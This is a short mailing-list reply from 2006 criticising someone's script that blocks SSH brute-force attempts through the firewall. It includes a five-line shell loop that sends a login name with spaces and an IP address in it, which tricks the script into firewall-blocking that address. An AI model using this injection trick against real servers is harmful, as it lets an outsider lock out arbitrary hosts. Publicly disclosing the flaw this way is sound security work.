Re: reduction of brute force login attempts via SSH through iptables --hashlimit

["Gary Leons" <tastytastybeef () googlemail com>]

On 2/28/06, GroundZero Security <fd () g-0 org> wrote:
> Hello,
>
> i made a small bash script last year to block those bruteforce attempts automatically via the firewall.
> In case someone is interested, i released it on our website. Someone may have a use for it :-)
> http://www.groundzero-security.com/code/bruteforce-block.sh
> Have a nice day everyone!
>
> -sk

That is remarkably shoddy coding from a "security research and
software developer".

*NEWS FLASH* most platforms allow login names to contain spaces.

$ for ((i=0;i<5;i++));
>  do ssh -l "j00 ar3 l4m3 222.173.190.239" idiot.running.this.script.com
>  done

And i just added an arbitrary address to your firewall, fun!
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